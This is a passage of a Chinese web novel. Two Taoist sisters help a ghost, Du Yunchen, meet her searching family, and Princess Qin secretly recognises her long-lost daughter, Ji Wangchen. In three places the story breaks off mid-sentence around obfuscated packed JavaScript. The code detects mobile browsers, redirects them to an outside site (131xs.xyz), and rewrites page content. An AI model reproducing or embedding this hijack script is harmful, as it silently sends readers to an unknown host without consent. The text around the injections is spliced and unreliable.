姬忘尘并没有放下自己的戒备,她握紧了环刃跳下墙头,步伐缓慢地靠近对方:“当初也是这么和那人做交易的?” 尽管她并没有感受到对方的杀意,但在判断这是否为陷阱之前,她都不会懈怠。 “不是不是。过几天不是祭月节了嘛,我想趁这个机会当面和秦王道谢。”那道身影灵活地摆摆手,脸上露出不好意思的神情,下意识伸手想要挠自己的头,悬在半空又后知后觉放下。 姬忘尘那天就猜测对方是不是有所留恋,只是没想到会是秦王。 “……不去见见你的家人吗?”她眼神一错不错地盯着地缚灵开口,“杜蕴辰。” 这句话一开口,周围的魔气忽而变得汹涌,卷起微风,吹得姬忘尘的发丝不断舞动。她依旧紧紧地盯着面前的地缚灵,看着对方变得赤红的双眼,提防着她被魔气控制后的下一步动作。 其实突发的魔兽并不难缠,很快就解决完了。只是在就解决之后,她花了不少时间用自己的方式,查清了这栋宅院原本的所属。在所谓的状元之前,买下这栋宅院并重新设计的,是一位来王城行商的女郎。 不过杜蕴辰在片刻之后控制住周围翻涌的魔气,眼睛里的神采也逐渐褪回浅红。 她并不意外自己的身份被对方点破,垂眸掩下眼中的情绪,望着自己透明的双手:“……算了吧,横竖我也已经死了。” “她们一直在找你。” “……小道长给我看了。”杜蕴辰的眼睫轻颤,尽管她心中情绪又在不停翻涌,她还是尽全力克制住,维持着语调的平稳,“这些年,真是辛苦她们了。” 姬忘尘不知道师妹给她看了什么,但她选择默不作声。 但确实,杜家人比她所遇到的,都更执着。 以前姬忘尘也并不是没有见过找寻失者的亲属,又因为经历了王朝的变迁,寻找起来更想大海捞针,就此放弃的亲属并不算少。 而杜蕴辰的家人并未放弃一丝一毫的希望,有杜家商行所在的地方,就有寻找杜蕴辰的布告。 无论天南海北,生死吉凶,一定会找到杜蕴辰的下落。 “去看看吧。”姬忘尘收起武器,朝地缚灵伸出了手。她觉得作为“失者”本人的杜蕴辰,应当去见一见这般阵仗。 杜蕴辰猛地抬头,不可置信地看向面前的人,她原本以为两人间的相处会更……剑拔弩张一些。 可不管是小道长,还是面前这位冷脸的道长,她们的眼中既没有厌恶,也非漠然,只当自己是寻常路人。 姬忘尘看着面前地缚灵沉默的面孔,以为对方在担心不能她身上的魔气外溢的危险。她从怀中掏出一个圆环,念咒放拉大成手镯模样,递给对方。 “别担心,有我在你身边。”姬忘尘的声音一如既往地毫无波澜,却能让人不自觉安定下来,“我不会让任何人伤害你,同时你也不会伤害任何人。” 斜阳刚坠落西山,天光并未变得昏暗,尚未圆满的明月也才爬上枝头。 犹豫许久之后,杜蕴辰调用魔气将对方手镯接了过来,试探性地套在自己的手上。原本略大的圈口在套在她的手上的那刻自动缩小,稍大一些停留她的手腕上。 与此同时,她整个人凝成了实质,和自己殒命之前一模一样——除了她依旧没有感知以外。杜蕴辰惊讶地看着自己的变化,同时感觉自己变得轻盈了不少,没有往昔恼人的躁郁。 其实昨天收到小道长的纸笺时,她就心绪难平。今日又遇道长,也就顺水推舟地应了下来。 ……或许能远远地看上一眼,也不会惊扰到她们如今的生活。 尽管现在的当家人或许不认识她,但她还是不想以真实的面容面对她们。似乎看穿了她的想法,还没等她开口,面前的道长就拿出了准备好的白色帷帽,遮挡她的面容。 “……谢谢。”她低头垂眸感谢面前的道长,险些接不稳轻飘飘的帷帽。重新拥有实际身体的她,倒有几分不习惯使用自己的双手。 一切准备就绪之后,面前的道长就带着她离开了院落。她们从昏暗的地方走出来,入目是热闹非常的街市。即使隔着帷帽,她依旧感受到喜气洋洋的氛围。 杜蕴辰后知后觉想起来,秦王曾经跟她提起过新朝的举措和变化,其中就有大开夜市这一条。当她还活着的时候,曾经也希望有这么一天,灯市如昼。 拐过几条街市,姬忘尘带她来到一家商行前。她上前拉出在外吆喝的伙计,提出要见杜曜桑。杜曜桑原本在柜台后,听到伙计的传话连忙起身,见到了站在商行外的姬忘尘和另一个带着帷帽的姑娘。 “姬姑娘,怎么不进来坐坐?”她喜气洋洋地开口,“身后这位是……” “是一位朋友,她说对你们要寻的人有些眉目。”姬忘尘用身体隔开她们,即使她在杜蕴辰的身上做了防护,但还是会担心魔气外溢伤害到旁人。 “当真?!”杜曜桑一听闻有消息,脸色变得十分惊喜,上前两步想要拉住那名帷帽女人的手。 但帷帽女人下意识地后退了一大步,身旁的姬忘尘也拉住了杜曜桑的手:“不可靠近。” “那……”杜曜桑知道自己的态度有些急切,连忙停下脚步,望着帷帽的身影,“不如我们到室内聊聊?” 姬忘尘也没有开口,等待着杜蕴辰的回答。杜蕴辰捏紧了自己的手,她还是不能感知到痛觉。她知道现在自己的状态很容易伤害到旁人,就算有道长在身边,她也担心自己身上不详的气息会给旁人带来麻烦。 “不必了……”因此她只是摇了摇头,轻声开口,问起面前女人的身份,“您是?” “抱歉抱歉,尚未自我介绍。”杜曜桑虽然十分失落,但也很快稳住了自己的思绪,“我是杜曜桑,要寻的人是我姑姑。” “可我记得,从年龄上看,杜蕴辰并没有这般年纪的侄子。” 面对惟帽女人犀利的发问,杜曜桑将几人引导一旁冷清的巷子里,解释道:“姑娘说的是。既然姑娘有我姑姑的消息,我也就不隐瞒了,其实我是被收养的。” 杜曜桑是被杜蕴辰的兄长出外行商的时候救下的,那是她已经不过才十一二岁。而那时的杜蕴辰已经离家北上,说是去王城开拓商业版图。一年过后,便寄信回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……她的位置我不方便说。”杜蕴辰转身巷口走去,“她有一物托付与我,稍晚些你同道长一块去取了便是。” 秦王府中,汤穗穗告别了亲王,也走回自己的房间。秦王的身体虽然已经恢复了一些,但还是需要足够的休息,因此她们多聊了一会,还是依依不舍地离开。 路过师姐房间的时候,还是没有看到人影,里面也没有点灯。可方才,她千真万确笃定,那碗长寿面出自师姐之手,可为什么现在又没能看到对方的身影。 汤穗穗知道师姐肯定是面对了棘手的问题,但是心中还是泛起惆怅的情绪。 思索再三,她是越过师姐的房间,回到了自己的房间里面。她点亮桌上得有灯,只看到自己的影子被拉得很长。今天是她的十七岁生辰,身边却没有熟悉的人相伴。 ……这就是长辈们时常念叨的“成长”吗? 汤穗穗沮丧地趴在桌上,看着蜡烛的火焰跳动,心中闷闷不乐。桌上堆放着师姐给的话本,她还没怎么看过。之前府中的事忙碌着,现在也没有看话本的心情。 汤穗穗收拾心情想着看一会话本,可看着看着又不知不觉地犯了困。但她又不想上床歇息,就这样趴在桌上。 “天干物燥,小心火烛!” 不知过了多久,打更人的声音穿过楼房,钻进了汤穗穗的耳朵里,唤醒了她的思绪。她晃晃头,认真地听着打更的报时——如今已经是三更天,次日子时。 师姐还没有回来,但她十七岁的生辰已经过去了。 ……师姐是不会回来的了。 正当汤穗穗垂头丧气,打算吹了灯就上床去睡觉时,忽然有人扣响她门扉:“穗穗。” 她眼睛猛地一亮,从床上跳起来,跑到门口拉开门——门口正站着她思念了许久的人。 师姐笑眯眯地看着面前满脸惊喜的汤穗穗,伸手从乾坤袋里掏出准备好的木匣递给对方,郑重地开口:“穗穗,生辰快乐。” 61.她的私心 “姑娘请留步!”杜曜桑上前两步喊住即将离开的帷帽女子,她克制着距离,按下疯狂跳动的心脏,“姑娘可否再说些姑姑的事情?——譬如当年她经历了什么,为何音讯全无……姑娘您又是如何与她结识?” 面前的帷帽女子听到她的话停住了脚步,杜曜桑趁机说下去:“您是我这些年找到的唯一一条线索,还请见谅。” “人都死了,你说的这些重要吗?”帷帽女子站在原地,她的语气很轻,听不清其中蕴含何种语气。只见白色的薄绢被晚风带起,露出她白皙的细颈。 “重要。”杜曜桑站在原地,拱手弯腰,向对方郑重开口,“倘若姑姑当年遭遇不公,那我定会为她讨回应有的正义。无论真相如何,我想我们作为她的亲人,都有查明的必要,不是吗?” 听到杜曜桑这番肺腑之言,帷帽女子只是站在原地沉默不语,周围的风忽而变得剧烈异常,但很快又平息。 对方沉默了多久,杜曜桑就保持了弯腰的姿势多久。 “……杜蕴辰她,过得很好。”许久之后,帷帽女子背对着杜曜桑终于开口了,“遇人不淑的她心灰意冷地离开了王城,本想就此回乡。但正巧与商队同行,在那段日子里,她为自己的人生找到了另一种活法。” 在她自己所编撰的日子里,她走遍天南地北,见过名山大川,结识数不清的好友,潇洒自在的度过了余生。 “……后来,她也曾写书信回乡,但由于战乱并不能顺利寄出,只能就此不了了之。”帷帽女子依旧背对着她们,抬头隔着白绢看向半空的明月,“而我,只是她的同行客之一。在她生命的最后时光里,选择留在了某座无名的小村落,充当教书先生,我们也就此同她别过。——这些,足够了吗?” 保持沉默的姬忘尘就在一旁,听着杜蕴辰编撰属于自己的“过去”,吗,没有插嘴。 “足够了,多谢姑娘。”杜曜桑拱手,再次行礼道谢,“这些年多谢姑娘照付,不如明日赏脸……” “不用了,我只是带话的而已。”帷帽女子冷漠地打断杜曜桑未尽的邀请,“她托我转交的物件,过几天我让道长给你带来——就这样吧。” 急匆匆地说完这些话,她脚步不停地离开了。姬忘尘随即也同杜曜桑告别,加快脚步赶上了帷帽女子。 两人似乎在说些什么,杜曜桑看得并不真切。她轻轻地叹出一口气,心中的情绪复杂。 其实她听出帷帽女子描述那段经历的时候,有许多对不上的地方,听得出对方是在刻意隐瞒些什么。可同时她也听得出来,帷帽女子选择掩下的真相,或许会超出她的预期。 既然对方说手里会有转交的物件,也许那物件上会有她想要知道的真相。 杜曜桑这样安慰着自己,闭上眼做了深呼吸,轻声开口:“……姑姑,我们能等到你回家吗?” 拉开门就看到师姐时,汤穗穗压不住心中雀跃的情绪,她直接跳着扑到姬忘尘的身上,连她手上的木匣都没有接过去:“师姐!” 还好师姐的身体很稳,没有被她突然的动作扑得失去了平衡。 姬忘尘回抱师妹的后背,终于呼出了闷在心里的那口气。告别了杜曜桑之后,杜蕴辰沉默着不说话,非说这些年都没有好好看过王城,要走一走。姬忘尘能感受到对方翻涌的情绪,也有些理解她此刻的心情,本来想着应当不会花费太多时间,也就答应了对方。 结果没想到,这“走一走”就从一更天走到将近三更天。等她加固杜蕴辰身上的封印再回来的时候,正好听到更夫打过三更天的声音。她还以为汤穗穗应当早已歇息,心中正懊恼自己错过了师妹的生辰。 没相当等她走进时,发现师妹的窗户还透着光,她也就试探性地敲了敲门。 “如果我不等师姐的话,那师姐不也白折腾了吗?”汤穗穗从师姐身上跳下来,高兴地拉着师姐的手,也庆幸自己等到了现在,“师姐,我很开心。” 姬忘尘笑着伸手揉了揉她的脑袋,再次将手中的木匣送出。汤穗穗满怀笑意地接过师姐的木匣,她猜出木匣中应当是师姐精心为自己准备的生辰礼物。一想到这些,还没有打开她就已经很高兴了。 “……打开看看,看看喜不喜欢。”姬忘尘看着师妹兴奋的笑脸,不自觉有些难为情,将目光放在对方手上的木匣子。她掐着时间去拿回来的,还好一直放在身上的袋子里,不然就耽误了送礼物的最好时机。 拿到的时候她还没来得及打开,现在她看着师妹打开的动作,紧张地吞咽口水,不自觉地紧盯着对方脸上的神情。 她看着汤穗穗的脸上从好奇转变成惊喜,亮晶晶的眼睛看过来时,心中悬着的巨石终于落了下去。她无意识地勾起嘴角,柔声开口:“……这礼物,还喜欢吗?” “谢谢师姐,我很喜欢!”汤穗穗双手捧着木匣,木匣中的绒布躺着一对制作精美的短发簪,正好可以佩戴在自己的头上。 最吸引人注目的,是发簪的主体捏造的精致花簇,几朵盛开的花朵点缀在一起并不累赘,反而装扮得恰到好处。 汤穗穗托着木匣欣赏时,忽然想起了什么,从房间里翻出乾坤袋。她在袋子的最里面翻出了一片花朵,放在簪子旁。 簪子主体的花朵正是按照山桃花的模样捏造的,如今对比着看,更是显得极为相似。 “这花不会就是……”汤穗穗不可置信地抬头看向师姐,不知道是巧合还是师姐刻意为之。 “我记得你当时专门回去捡了一朵,我想你应当是很喜欢,所以我就托工匠按山桃的模样定做了……还喜欢吗?”在选做发簪主体的时候,姬忘尘想起离山时师妹对山桃的喜爱,也就选择定制了这个款式——而成品的精细程度也让她吃了一惊,比她预想中还要出色。 “我很喜欢。”汤穗穗将木匣合上双手环抱着,抬头再一次看着师姐,认认真真地开口,“师姐费心了。” “可我还是误了你的生辰。”姬忘尘看到师妹喜欢的神情已经十分满足,她的心中还有些许懊恼,若是能早些赶上就跟好了。 “师姐才没有来晚!”汤穗穗又摇摇头,她还记得那碗稍淡了些的长寿面,“更何况,我也吃到师姐煮的长寿面了!” “被你认出来了呀。”姬忘尘有些意外,她想起自己的习惯,不好意思地挠挠头。“……我应当放够了调味吧?” “其实没有。”汤穗穗笑着打趣师姐,看着师姐因羞愧了有些泛红地脸颊,她将木匣放在桌上,伸手拉着师姐,“可正是因为这样,我才马上认出这是师姐的手艺!” 虽然这一碗长寿面的口味有些寡淡,但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686581|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃起来却觉得心头暖暖的,对于汤穗穗来说,这又是另一份独一无二的生辰礼物。 “不过师姐,你既然那时候就在厨房了,又为什么现在才回来呢?” 听到师妹的问话,姬忘尘也就顺势讲出她所找到的关于杜蕴辰的线索,还有晚上带杜蕴辰走得那一趟。 “原来如此。”汤穗穗听得十分认真,对于地缚灵就是杜蕴辰的这件事,她还是觉得造化弄人。她也将秦王提及的关于状元的部分跟师姐补充,说完后又叹了口气:“师姐,如果真是书生伤害了杜蕴辰,那我们又该怎么阐明真相呢?” 毕竟关于灵魔两气的存在,不能轻易地阐述给无关的百姓。 “我们能做到的有限,但有人做到。”姬忘尘笃定地开口,“而她也应当考虑到了这些事情。” “谁啊?”汤穗穗看着师姐信誓旦旦地模样,努力在脑海中搜寻着合适的人选,“——难道是秦王吗?可是她真的会帮助杜蕴辰吗?” 在汤穗穗看来,这些事情做起来费力不讨好,并且还牵扯到前朝的事情。 “她会的。能创造更好的世道,这是她这辈子都在追求的东西。”姬忘尘听到师妹的疑问,轻笑一声,不假思索地开口。 听到对方的语气十分笃定,汤穗穗眼神带着诧异望向师姐。在她看来,师姐和秦王并没有什么交集,为什么师姐却对对方如此相信。她下意识地问道:“……师姐你好像,很熟悉秦王?” “我……”姬忘尘才反应过来自己的失言,她眨着眼怔愣片刻,最后还是叹了口气认下,“是啊,我和她很熟悉……我仰慕她许久。” 说起来,这还是汤穗穗哄骗杜曜桑的说辞。 其实这么说也没错,这些天她在外搜寻杜蕴辰相关的信息时,不止一次听到有人对秦王的赞叹与感谢。出于心中复杂的情绪,她这才逐步去了解对方近些年的所作所为。 这一了解才知道,一别经年,对方正沿着当年设想的那条路,随着当今圣上构筑她所期待的世道。 只是世间不会有两全其美的法子,走在这条路上时注定要舍弃一些什么。 她们的人生早在当年的那个选择已经分别。 而此刻,她们都有各自的道路尚未走完。 人总是复杂的,比起曾经纯粹的恨意,如今姬忘尘觉得自己已经逐步学会了理解……和放下。 只是这些无关紧要的琐事,她不会选择和面前天真无邪的师妹开口。 因此她也只是笑着开口,伸手轻弹了面前师妹的脑门,语气轻松地开开口:“时间不早了,快去睡觉吧。” “那杜蕴辰呢?”汤穗穗起身,跟上师姐还没有完全出门的步伐,“我们明天就将她净化吗?” “……过段时间吧。”姬忘尘跨步出门,转身伸手一边将师妹的房间门合起,一边说,“等过了祭月节,就会结束了。——好了,去睡觉吧。” 姬忘尘站在门外,听着汤穗穗窸窸窣窣上床的动静,不自觉地勾起唇角。她仰头望向天上即将圆满的明月,深吸一口气。 再过几日,便是象征团圆的祭月节。姬忘尘以为自己能做到完全不在乎,但她无论如何还是做不到自我欺瞒。 出于她的私心,想隐去真实身份团聚。 “……我还是很想你啊。” 62.她的选择 黑暗中,姬时欢睁开了眼,望着正上方的床顶出神。不知为何,鲜少做梦的她,方才竟重新经历那二十年前的选择。 那时的她与姜将军相见恨晚,时常为这世道畅谈彻夜。姜将军本就是戍卫边疆的功臣,却遭旧朝帝王猜忌,被诏回王城三言两句除去兵权,而后又被软禁在府邸中。 后来帝王屡次不止的暗杀行动更是冷了这位大将军的心,她们也因此坚定了造反的决心。为减少帝王的猜忌,大将军将年仅八岁的稚子托付给她,由她先一步带着他离开危机四伏的王城。 她找了回乡的借口辞官,大部分的随从跟随马车声势浩大地离开王城。实际上到了城外隐蔽处,马车依旧按原路行驶,而她同一名最为信任的随从带着两个孩子离开了马车,改道江望城。 一切都按计划顺利推进,她们很快就离开了王城。可就抵达在江望城时,随从意外发现了一路尾随的杀手。那时的她不确定面前还会有多少危险等待着,彻夜思考后,她决定兵分两路来迷惑杀手的视线。 随从的身量体形与她极为相似,两人穿着同样的服饰时,纵使相熟的人都难以辨认。她们分别混进不同的商船,去往不同的城镇。 而让她耿耿于怀直到现在的,正是这一次的选择:在面对两位年龄相仿的孩子时,她不假思索地选择了姜祀。 在听到她的选择时,稚嫩的女儿什么都没说,只是紧紧地捏着自己的衣摆,沉默片刻后懂事地应下了这个选择。 她不知道自己的选择是否过于残忍,但那一刻她所想的只是,竭尽所能保住姜将军的孩子。幸运的是,她们并没有再遇到杀手。她就这样带着姜祀隐匿在人群中,看遍了寻常百姓的痛苦,也因此更笃定要继续追随姜将军。 另一边艰难脱身的姜将军也按照计划,集结她全部的力量,正式反抗混乱的旧朝。她也就此带着姜祀,向对方奔赴,履行当初的诺言。 这一路上的艰辛苦涩数不胜数,有时她也会自嘲,或许她也能能做到史书的那句“士为知己者死”。 一晃二十载,她也随着姜将军的胜利回到王城,将这片天地改朝换代,一跃而起成为帝王的左膀右臂,成为高高在上的秦王。 只是午夜梦回间,还会记得当时冷静望着自己的女儿,记得她那一双黑白分明,却因为自己的话语顷刻变得黯淡的眼睛。 ——更讽刺的是,她当年女儿的乳名定为“岁岁”。 她曾那么真挚地为女儿祈祷过平安健康;可也是她,亲手将女儿送入最危险的漩涡。这一路上她也曾试图找寻她们的下落,那名随从殒命在江望城相邻的临沧城,而岁岁却不知所终。她不止一次寻找过岁岁的下落,终究是无功而返。 此刻当她闭上眼,脑海中不断地回想那一天的场景。站在第三人的视角审视自己当年的行为时,姬时欢只觉得自己禽兽不如。 她知道自己并非合格的母亲,无论是对姜祯还是岁岁。 姬时欢扶着脑袋坐了起身,此时也没有了睡意,索性就这样下了床。喝过温水后,鬼使神差下要来了灯笼。 她提着不算明亮的灯笼,裹紧身上的外袍,深夜的风吹得几乎沁入骨髓。可是她依旧没有回卧房的打算,只是想在这在宅邸中走走。 她也不知道自己想见谁,只是觉得出来这一趟,能见到想见到的人。 或许是那位住在偏僻院落的那位姑娘,姬时欢分心想到,她与这位姑娘也有一段时间未曾见面。 如今的王城万象更新,她想再劝一劝那位姑娘。她认为对方应当值得更好的未来,而不是隐姓埋名过得那么落魄。 未曾想还没有走到那方院落,就在后院的花园中又遇到了另一位陌生面孔的女子。对方见到自己的那一刻,脸上先是错愕,很快又变得复杂,最后站在原地错开视线。 但她的反应比面前女子剧烈许多,几乎握不住手中的灯笼。在视线接触对方身上的那刻,她瞳孔猛地一锁,下意识地屏住呼吸,她嘴唇翕动,不敢开口,也不敢靠近,生怕自己仍活在梦中。 方才在梦里的人啊,就这样出现在她的面前。 后知后觉的,姬时欢感觉到一股酸涩涌上鼻尖,眼眶不自觉地湿润。她握紧手中的灯笼手柄,久久地望着面前人,用视线描摹对方长身玉立的模样。 “……秦王殿下。”面前人或许觉得这样的气氛十分尴尬,硬着头皮转回实现,拱手向自己问好。 姬时欢下意识地张了嘴,却不知道该如何称呼对方。面前的人不像是认出自己的样子,方才对方的神情,更像是没想到会在如此深夜遇上自己。 “我知道了,您就是穗穗道长挂在嘴边的师姐吧。”她敛下复杂的情绪,打着灯笼拉近了两人之间的距离,“前些日子辛苦您了,不知该如何称呼?” “……不必客气。”面前年轻的面庞垂眸,避开了自己的视线,低着头应答,“叫我姬忘尘便好。” 忘尘。 是后来养育她的人所起的吗? ……是让她忘却前尘,只顾行如今道路的意思吗? 或许当年的岁岁在分别时年岁尚小,又遭遇重大的变故,恐怕已经前尘忘尽。既然如此,她不想、也不愿揭露两人的关系,能看到对方康健长大已经如愿以偿。 “……很适合你的名字。”姬时欢无声地念过这个名字,嘴角勾起浅淡的笑容,小心翼翼地开口邀请道,“再过几日便是祭月节,不如留下来与我们一同度过吧。” “这于理不合——”面前的道长想也不想就是拒绝,姬时欢闻言有几分落寞,但她将这些情绪压下心中。 “北部的攸州仍有旧朝余孽,过了祭月节,阿祀也要离开王城前往攸州赴战。”姬时欢提着灯笼走到院中的石椅坐下,“阿祯也会随她兄长同行。……还是道长事务繁忙,无法拨冗?” 说出那些话语时,姬时欢不自觉地盯着面前道长的面庞。对方的眉眼已经长开,眼神依旧清澈透明,也许是自己的提议过于突兀,对方下意识地蹙起了眉。 她还可以说出许多理由将面前的人留下,可偏偏藏匿在心底的理由无论如何也无法开口。 姬时欢自嘲地勾起唇角,准备提出一个台阶让对方拒绝的时候,面前沉默许久的道长却同意了这个邀请。她以为自己幻听,不可置信地抬头望着对方,心跳得飞快,几乎要撞出自己的胸膛。 害羞的道长抿着唇再次点了点头,表明了她的态度。对方分明没有说话,但姬时欢却险些哭了出来。 她听到对方提起这里的异常情况,还需要在府中待一段时间,还有一些关于乾坤宗的不便透露的事情,让她谅解。 可是这些话她都听不进去,得到道长应允的她满心欢喜地盼望着祭月节的到来。为了稳定自己的情绪,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693857|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能将手中的细杆握得更用力些,走到不远处的石桌坐下,将灯笼放在桌上,背过身笑着说了些场面话:“……我看方才道长如此急切的模样,想来是有急事,我便不叨扰道长了。” “……殿下,更深露重,您大病初愈,还请多保重身体。”身后的女子沉默了片刻,说出寻常的提醒才离开。 背过身的姬时欢望着桌上灯笼晕出的光影,晚风带起她未梳起的长发,飞舞在她的脑后。不知坐了多久,又听到更夫打过三更天的声音,她才缓缓地回过神来。 只这么一眼,她就认出了对方的身份。二十年间她见过不少相似的面孔,闲来无事也曾用画笔描摹下女儿的模样——终究没有方才看到的那一眼震撼人心。 没有母亲会错认自己的女儿。 ……可作出那般行径的自己,又算什么母亲呢?也只是白占了称呼上的便宜罢了。 那天师姐将地缚灵的事情放在祭月节之后,汤穗穗便以为是在佳节期间不适宜除魔,也就没有追问下去。 也许是临近佳节,整座宅邸中的人都十分繁忙。对比起来,每日按时维护屏障的自己显得极其清闲。 她还记得师姐提到“仰慕秦王”,私底下也不自觉的关注起秦王。 身体恢复了不少的秦王这段时间过得都十分忙碌,早出晚归是常有的事情。听祯姐姐说,秦王这段时间当在王宫中和帝王商讨要事,还有北部攸州的战事。也正因如此,原本也住在府邸的姜祀最近直接宿在郊外的演武场。 “那祯姐姐你呢?”尽管汤穗穗对这些事情一窍不通,但还是听得很认真。她虽然不了解政事,但她明显感觉到山下的环境比起以前好上不少。她知道她们的忙碌都是为山下百姓们的安居乐业而努力着。 “我?我也会跟哥北上,母亲说让他也带我熟悉战场。”姜祯笑容十分坦荡,眼神里还露出不自觉地期待,“我还没有真的见过哥哥战场上的模样呢!” 之前更多是跟在母亲身边处理事务,只能从战报中的只言片语拼凑。 “可是战场,不是会死人吗?”汤穗穗望着对方亮晶晶的眼睛,有些不理解,“你不怕死吗?” 姜祯的回答让汤穗穗想起师姐她们,她依旧不是很能理解,为什么她们总能这样坦然地谈论生死,就像每日的餐食一样。 “怕啊。”姜祯回答十分直接,她伸手轻捏汤穗穗的脸颊,“可是人总会死的,这有什么好怕的呢?——如果真的有死亡的那一天,我只希望我的死亡是有意义的。” “不说这么沉重的了,”还没等汤穗穗开口,姜祯笑着摆摆手,说起了别的事情,弯着眉眼开口:“等哥哥这次再班师回朝,母亲就会立他为太子……还真是期待啊。” “那你呢?” “我?我当然是当哥哥的辅佐啊。”姜祯理所当然地回答。这些年来,她将哥哥的努力看在眼底,也在心中对对方萌生由衷的敬佩之意,认为王位继承肯定会落在他的身上。 不过还有一件让姜祯发愁的事情,就是哥哥总是不爱惜自己的身体。想到这里,姜祯眉宇笼罩着愁云,看向身旁的少女:“穗穗道长,有什么治愈伤病的好方子吗?我哥他常年征战沙场,身上落了不少旧伤顽疾,若是提前备好一些方子,应当能改善不少。” 姜祯心里暗自抱怨,自己这个当妹妹的,怎么比本人还更关注身体的问题。 63.告别 祭月节前一天,姬时欢还在皇帝的御书房内商议政策的实行。两人畅谈过后,眉宇轻松,即使知道前方艰难重重,但两人都并不畏惧。 聊完正事,皇帝下意识地放松仪态,靠在了木椅上,关切地望向姬时欢:“最近身体可好些了?祭月节将近,横竖你也是一个人,不如就来宫中与我们一道吧。” “不用了。”周围没有外人在场,既然是朋友对谈,姬时欢也跟着放松紧绷的后背,笑着打趣,“我怎么好意思打扰你们一家团聚?” “你啊,和我还如此见外不成?”皇帝也听出对方的调侃之意,脸色看似愠怒,但语气带笑,“曾经那些个快要入土的老家伙不总说我们两体一心——你我二人又何必分出彼此?” 被皇帝提起,姬时欢又想起了旧朝的往事,那是她们总互相维护,总被明里暗里地讽刺。她们二人非但不当回事,反而将其当成茶余饭后的闲话,美美说来,都忍不住捧腹大笑。 今日也不例外。 等两人笑够了说够了,又扯回方才的话题。姬时欢拿出手帕拭去眼角沁出的泪水:“还是不了,府里还有客人。” “哦,我记得,那两位乾坤宗的道长是吧!”被对方提到,皇帝才恍然记起,姜祀汇报乾坤宗一行的时候曾提到过,他还请了两位道长下山。想起缘由,皇帝凝重了脸色望向姬时欢,“她们也来了十数日,还没有解决吗?早知道那座府邸会连累到你,不如拆了或者用作旁的用途——” “其实差不多了,只是我让她们往后延了几日。”姬时欢开口打断皇帝的喋喋不休,想起那天晚上的不期而遇,她的脸上也泛起喜悦。 关注着对方的皇帝自然没有错过这一抹欣喜,她随即想到对方长久以来的心结,不可置信地开口:“其中的一位道长……竟然就是岁岁吗?” 看到好友笃定地点头之后,她脸上的欣喜更甚,起身快步过去拍着对方的肩膀:“这不就更得请她来宫里吗?……你说乾坤宗的道长会适应山下的生活吗?又或者,我们需不需要考虑拨款给乾坤宗,也当是对宗门长久以来佑世的酬谢——” 当年好友的选择总让她觉得于心有愧,而现在得知了孩子的下落,她更想做些什么弥补对方。而对于乾坤宗,她曾和如今的宗主有过交集,对她们的行为也略知一二。对方留下了一道通信的符箓,这些年她一直没用过。也正因如此,能在好友前不久出事时,顺利联系到乾坤宗一行人。 不过后续发生的事情,就完全在皇帝的意料之外。她正兴致勃勃地想要和好友商量下去,没想到却被好友打断。 皇帝只见好友垂眸,掩下眉眼中遗憾的神情:“我……并没有和她相认。” 短短的几个字,与好友相识多年的她瞬间了然对方此刻的想法。她听得出来,对方未曾言说的愧疚和自责。 同为人母的皇帝何尝不知道好友的感受,可在这件事情上,她俩都算不上称职的母亲,也就无从提出合适的建议。 皇帝沉默半晌,还是不知道该说些什么开口安慰,轻叹了口气,将手放在对方肩膀之上,掌心将她的低温度过去,权当给予对方微不足道的支持。 “我没事的。”姬时欢伸手盖在皇帝的手背上,轻微地摇头,“能知道她还活着,并且过得还不错,我便已经知足了……更多的,我也不敢去奢求什么。” “你当真不打算告诉她吗?”皇帝知道好友长久以来的心结,也知道她对于寻人一事的执着,包括在朝堂之下也会培育寻人的组织、还有最近提出调卷宗重新弄审查冤假错案的举措…… 现如今能够意外和女儿相遇,难道就真的什么也不做,客客气气地吃一顿无人知晓的“团圆饭”吗? “不必了。”姬时欢轻轻地落在空气中,她微微抬头,看向好友不解的神情,笑着摇摇头,重复了一遍,“不必了。……我已经得偿所愿。” 更何况她觉得自己是幸运的,这些年的寻找好歹有了下落,得以看到女儿如今的成长。既然对方已经开始了全新的生活,那她没有必要、也没有立场再去惊扰这一湖的平静。 皇帝眼见好友已经能做好了选择,也就没有再多说什么,她一如既往地尊重好友的决定。 一转眼,祭月节当天如约而至。但对于汤穗穗来说,其实和寻常并无区别——除了饭桌上只有她、师姐和秦王三人。刚开始她还有些拘束,不过同桌的秦王很是和蔼,说起了不少她从未听闻的趣事。 基于对对方的信任,汤穗穗也就慢慢地卸下了心防,和对方畅聊了起来。而师姐依旧保持着沉默,只会在偶尔接上话茬。 秦王并未见怪,反而又在用饭后掏出了两个锦盒,朝两人推过了过来。 “不行不行!”汤穗穗想起生辰当天对方推过来的那块精致的玉佩,连连摆手拒绝。 秦王看到面前少女避如蛇蝎的脸色,忍不住笑出来,解释道:“放心,并非贵重的物价,权当一份心意罢了——左右从年龄上看,我也算是你们的长辈吧。” 